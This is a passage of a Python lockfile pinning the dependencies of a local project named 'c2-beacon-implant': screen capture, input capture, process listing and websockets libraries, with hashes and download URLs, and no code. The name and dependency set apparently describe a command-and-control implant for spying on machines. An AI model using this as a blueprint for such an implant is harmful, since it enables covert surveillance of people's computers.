sdist = { url = "https://files.pythonhosted.org/packages/41/c3/534eac40372d8ee36ef40df62ec129bee4fdb5ad9706e58a29be53b2c970/aiofiles-25.1.0.tar.gz", hash = "sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2", size = 46354, upload-time = "2025-10-09T20:51:04.358Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/bc/8a/340a1555ae33d7354dbca4faa54948d76d89a27ceef032c8c3bc661d003e/aiofiles-25.1.0-py3-none-any.whl", hash = "sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695", size = 14668, upload-time = "2025-10-09T20:51:03.174Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "c2-beacon-implant"
|
||||
version = "1.0.0"
|
||||
source = { editable = "." }
|
||||
dependencies = [
|
||||
{ name = "aiofiles" },
|
||||
{ name = "mss" },
|
||||
{ name = "psutil" },
|
||||
{ name = "pynput" },
|
||||
{ name = "websockets" },
|
||||
]
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "aiofiles", specifier = ">=24.1.0" },
|
||||
{ name = "mss", specifier = ">=10.0.0" },
|
||||
{ name = "psutil", specifier = ">=7.0.0" },
|
||||
{ name = "pynput", specifier = ">=1.8.1" },
|
||||
{ name = "websockets", specifier = ">=15.0" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "evdev"
|
||||
version = "1.9.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a5/f5/397b61091120a9ca5001041dd7bf76c385b3bfd67a0e5bcb74b852bd22a4/evdev-1.9.3.tar.gz", hash = "sha256:2c140e01ac8437758fa23fe5c871397412461f42d421aa20241dc8fe8cfccbc9", size = 32723, upload-time = "2026-02-05T21:54:24.987Z" }
|
||||
|
||||
[[package]]
|
||||
name = "mss"
|
||||
version = "10.1.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/40/ca/49b67437a8c46d9732c9c274d7b1fc0c181cfe290d699a0c5e94701dfe79/mss-10.1.0.tar.gz", hash = "sha256:7182baf7ee16ca569e2804028b6ab9bcbf6be5c46fc2880840f33b513b9cb4f8", size = 84200, upload-time = "2025-08-16T12:11:00.119Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/23/28/1e3e5cd1d677cca68b26166f704f72e35b1e8b6d5076d8ebeebc4e40a649/mss-10.1.0-py3-none-any.whl", hash = "sha256:9179c110cadfef5dc6dc4a041a0cd161c74c379218648e6640b48c6b5cfe8918", size = 24525, upload-time = "2025-08-16T12:10:59.111Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "psutil"
|
||||
version = "7.2.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pynput"
|
||||
version = "1.8.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "evdev", marker = "'linux' in sys_platform" },
|
||||
{ name = "pyobjc-framework-applicationservices", marker = "sys_platform == 'darwin'" },
|
||||
{ name = "pyobjc-framework-quartz", marker = "sys_platform == 'darwin'" },
|
||||
{ name = "python-xlib", marker = "'linux' in sys_platform" },
|
||||
{ name = "six" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/f0/c3/dccf44c68225046df5324db0cc7d563a560635355b3e5f1d249468268a6f/pynput-1.8.1.tar.gz", hash = "sha256:70d7c8373ee98911004a7c938742242840a5628c004573d84ba849d4601df81e", size = 82289, upload-time = "2025-03-17T17:12:01.481Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/59/4f/ac3fa906ae8a375a536b12794128c5efacade9eaa917a35dfd27ce0c7400/pynput-1.8.1-py2.py3-none-any.whl", hash = "sha256:42dfcf27404459ca16ca889c8fb8ffe42a9fe54f722fd1a3e130728e59e768d2", size = 91693, upload-time = "2025-03-17T17:12:00.094Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyobjc-core"
|
||||
version = "12.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b8/b6/d5612eb40be4fd5ef88c259339e6313f46ba67577a95d86c3470b951fce0/pyobjc_core-12.1.tar.gz", hash = "sha256:2bb3903f5387f72422145e1466b3ac3f7f0ef2e9960afa9bcd8961c5cbf8bd21", size = 1000532, upload-time = "2025-11-14T10:08:28.292Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/64/5a/6b15e499de73050f4a2c88fff664ae154307d25dc04da8fb38998a428358/pyobjc_core-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:818bcc6723561f207e5b5453efe9703f34bc8781d11ce9b8be286bb415eb4962", size = 678335, upload-time = "2025-11-14T09:32:20.107Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f4/d2/29e5e536adc07bc3d33dd09f3f7cf844bf7b4981820dc2a91dd810f3c782/pyobjc_core-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:01c0cf500596f03e21c23aef9b5f326b9fb1f8f118cf0d8b66749b6cf4cbb37a", size = 677370, upload-time = "2025-11-14T09:33:05.273Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1b/f0/4b4ed8924cd04e425f2a07269943018d43949afad1c348c3ed4d9d032787/pyobjc_core-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:177aaca84bb369a483e4961186704f64b2697708046745f8167e818d968c88fc", size = 719586, upload-time = "2025-11-14T09:33:53.302Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/25/98/9f4ed07162de69603144ff480be35cd021808faa7f730d082b92f7ebf2b5/pyobjc_core-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:844515f5d86395b979d02152576e7dee9cc679acc0b32dc626ef5bda315eaa43", size = 670164, upload-time = "2025-11-14T09:34:37.458Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/50/dc076965c96c7f0de25c0a32b7f8aa98133ed244deaeeacfc758783f1f30/pyobjc_core-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:453b191df1a4b80e756445b935491b974714456ae2cbae816840bd96f86db882", size = 712204, upload-time = "2025-11-14T09:35:24.148Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyobjc-framework-applicationservices"
|
||||
version = "12.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pyobjc-core" },
|
||||
{ name = "pyobjc-framework-cocoa" },
|
||||
{ name = "pyobjc-framework-coretext" },
|
||||
{ name = "pyobjc-framework-quartz" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/be/6a/d4e613c8e926a5744fc47a9e9fea08384a510dc4f27d844f7ad7a2d793bd/pyobjc_framework_applicationservices-12.1.tar.gz", hash = "sha256:c06abb74f119bc27aeb41bf1aef8102c0ae1288aec1ac8665ea186a067a8945b", size = 103247, upload-time = "2025-11-14T10:08:52.18Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/37/a7/55fa88def5c02732c4b747606ff1cbce6e1f890734bbd00f5596b21eaa02/pyobjc_framework_applicationservices-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:c8f6e2fb3b3e9214ab4864ef04eee18f592b46a986c86ea0113448b310520532", size = 32835, upload-time = "2025-11-14T09:36:11.855Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fc/21/79e42ee836f1010f5fe9e97d2817a006736bd287c15a3674c399190a2e77/pyobjc_framework_applicationservices-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bd1f4dbb38234a24ae6819f5e22485cf7dd3dd4074ff3bf9a9fdb4c01a3b4a38", size = 32859, upload-time = "2025-11-14T09:36:15.208Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/66/3a/0f1d4dcf2345e875e5ea9761d5a70969e241d24089133d21f008dde596f5/pyobjc_framework_applicationservices-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:8a5d2845249b6a85ba9e320a9848468c3f8cd6f59605a9a43f406a7810eaa830", size = 33115, upload-time = "2025-11-14T09:36:18.384Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/44/3196b40fec68b4413c92875311f17ccf4c3ff7d2e53676f8fc18ad29bd18/pyobjc_framework_applicationservices-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:f43c9a24ad97a9121276d4d571aa04a924282c80d7291cfb3b29839c3e2013a8", size = 32997, upload-time = "2025-11-14T09:36:21.58Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fd/bb/dab21d2210d3ef7dd0616df7e8ea89b5d8d62444133a25f76e649a947168/pyobjc_framework_applicationservices-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1f72e20009a4ebfd5ed5b23dc11c1528ad6b55cc63ee71952ddb2a5e5f1cb7da", size = 33238, upload-time = "2025-11-14T09:36:24.751Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyobjc-framework-cocoa"
|
||||
version = "12.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pyobjc-core" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/02/a3/16ca9a15e77c061a9250afbae2eae26f2e1579eb8ca9462ae2d2c71e1169/pyobjc_framework_cocoa-12.1.tar.gz", hash = "sha256:5556c87db95711b985d5efdaaf01c917ddd41d148b1e52a0c66b1a2e2c5c1640", size = 2772191, upload-time = "2025-11-14T10:13:02.069Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/95/bf/ee4f27ec3920d5c6fc63c63e797c5b2cc4e20fe439217085d01ea5b63856/pyobjc_framework_cocoa-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:547c182837214b7ec4796dac5aee3aa25abc665757b75d7f44f83c994bcb0858", size = 384590, upload-time = "2025-11-14T09:41:17.336Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ad/31/0c2e734165abb46215797bd830c4bdcb780b699854b15f2b6240515edcc6/pyobjc_framework_cocoa-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:5a3dcd491cacc2f5a197142b3c556d8aafa3963011110102a093349017705118", size = 384689, upload-time = "2025-11-14T09:41:41.478Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/23/3b/b9f61be7b9f9b4e0a6db18b3c35c4c4d589f2d04e963e2174d38c6555a92/pyobjc_framework_cocoa-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:914b74328c22d8ca261d78c23ef2befc29776e0b85555973927b338c5734ca44", size = 388843, upload-time = "2025-11-14T09:42:05.719Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/59/bb/f777cc9e775fc7dae77b569254570fe46eb842516b3e4fe383ab49eab598/pyobjc_framework_cocoa-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:03342a60fc0015bcdf9b93ac0b4f457d3938e9ef761b28df9564c91a14f0129a", size = 384932, upload-time = "2025-11-14T09:42:29.771Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/27/b457b7b37089cad692c8aada90119162dfb4c4a16f513b79a8b2b022b33b/pyobjc_framework_cocoa-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:6ba1dc1bfa4da42d04e93d2363491275fb2e2be5c20790e561c8a9e09b8cf2cc", size = 388970, upload-time = "2025-11-14T09:42:53.964Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyobjc-framework-coretext"
|
||||
version = "12.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pyobjc-core" },
|
||||
{ name = "pyobjc-framework-cocoa" },
|
||||
{ name = "pyobjc-framework-quartz" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/29/da/682c9c92a39f713bd3c56e7375fa8f1b10ad558ecb075258ab6f1cdd4a6d/pyobjc_framework_coretext-12.1.tar.gz", hash = "sha256:e0adb717738fae395dc645c9e8a10bb5f6a4277e73cba8fa2a57f3b518e71da5", size = 90124, upload-time = "2025-11-14T10:14:38.596Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/cd/0f/ddf45bf0e3ba4fbdc7772de4728fd97ffc34a0b5a15e1ab1115b202fe4ae/pyobjc_framework_coretext-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d246fa654bdbf43bae3969887d58f0b336c29b795ad55a54eb76397d0e62b93c", size = 30108, upload-time = "2025-11-14T09:47:04.228Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/a2/a3974e3e807c68e23a9d7db66fc38ac54f7ecd2b7a9237042006699a76e1/pyobjc_framework_coretext-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:7cbb2c28580e6704ce10b9a991ccd9563a22b3a75f67c36cf612544bd8b21b5f", size = 30110, upload-time = "2025-11-14T09:47:07.518Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0f/5d/85e059349e9cfbd57269a1f11f56747b3ff5799a3bcbd95485f363c623d8/pyobjc_framework_coretext-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:14100d1e39efb30f57869671fb6fce8d668f80c82e25e7930fb364866e5c0dab", size = 30697, upload-time = "2025-11-14T09:47:10.932Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ef/c3/adf9d306e9ead108167ab7a974ab7d171dbacf31c72fad63e12585f58023/pyobjc_framework_coretext-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:782a1a9617ea267c05226e9cd81a8dec529969a607fe1e037541ee1feb9524e9", size = 30095, upload-time = "2025-11-14T09:47:13.893Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/ca/6321295f47a47b0fca7de7e751ddc0ddc360413f4e506335fe9b0f0fb085/pyobjc_framework_coretext-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:7afe379c5a870fa3e66e6f65231c3c1732d9ccd2cd2a4904b2cd5178c9e3c562", size = 30702, upload-time = "2025-11-14T09:47:17.292Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyobjc-framework-quartz"
|
||||
version = "12.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pyobjc-core" },
|
||||
{ name = "pyobjc-framework-cocoa" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/94/18/cc59f3d4355c9456fc945eae7fe8797003c4da99212dd531ad1b0de8a0c6/pyobjc_framework_quartz-12.1.tar.gz", hash = "sha256:27f782f3513ac88ec9b6c82d9767eef95a5cf4175ce88a1e5a65875fee799608", size = 3159099, upload-time = "2025-11-14T10:21:24.31Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e9/9b/780f057e5962f690f23fdff1083a4cfda5a96d5b4d3bb49505cac4f624f2/pyobjc_framework_quartz-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7730cdce46c7e985535b5a42c31381af4aa6556e5642dc55b5e6597595e57a16", size = 218798, upload-time = "2025-11-14T10:00:01.236Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/2d/e8f495328101898c16c32ac10e7b14b08ff2c443a756a76fd1271915f097/pyobjc_framework_quartz-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:629b7971b1b43a11617f1460cd218bd308dfea247cd4ee3842eb40ca6f588860", size = 219206, upload-time = "2025-11-14T10:00:15.623Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/67/43/b1f0ad3b842ab150a7e6b7d97f6257eab6af241b4c7d14cb8e7fde9214b8/pyobjc_framework_quartz-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:53b84e880c358ba1ddcd7e8d5ea0407d760eca58b96f0d344829162cda5f37b3", size = 224317, upload-time = "2025-11-14T10:00:30.703Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4a/00/96249c5c7e5aaca5f688ca18b8d8ad05cd7886ebd639b3c71a6a4cadbe75/pyobjc_framework_quartz-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:42d306b07f05ae7d155984503e0fb1b701fecd31dcc5c79fe8ab9790ff7e0de0", size = 219558, upload-time = "2025-11-14T10:00:45.476Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4d/a6/708a55f3ff7a18c403b30a29a11dccfed0410485a7548c60a4b6d4cc0676/pyobjc_framework_quartz-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0cc08fddb339b2760df60dea1057453557588908e42bdc62184b6396ce2d6e9a", size = 224580, upload-time = "2025-11-14T10:01:00.091Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "python-xlib"
|
||||
version = "0.33"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "six" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/86/f5/8c0653e5bb54e0cbdfe27bf32d41f27bc4e12faa8742778c17f2a71be2c0/python-xlib-0.33.tar.gz", hash = "sha256:55af7906a2c75ce6cb280a584776080602444f75815a7aff4d287bb2d7018b32", size = 269068, upload-time = "2022-12-25T18:53:00.824Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/fc/b8/ff33610932e0ee81ae7f1269c890f697d56ff74b9f5b2ee5d9b7fa2c5355/python_xlib-0.33-py2.py3-none-any.whl", hash = "sha256:c3534038d42e0df2f1392a1b30a15a4ff5fdc2b86cfa94f072bf11b10a164398", size = 182185, upload-time = "2022-12-25T18:52:58.662Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "six"
|
||||
version = "1.17.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "websockets"
|
||||
version = "16.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" },
|
||||
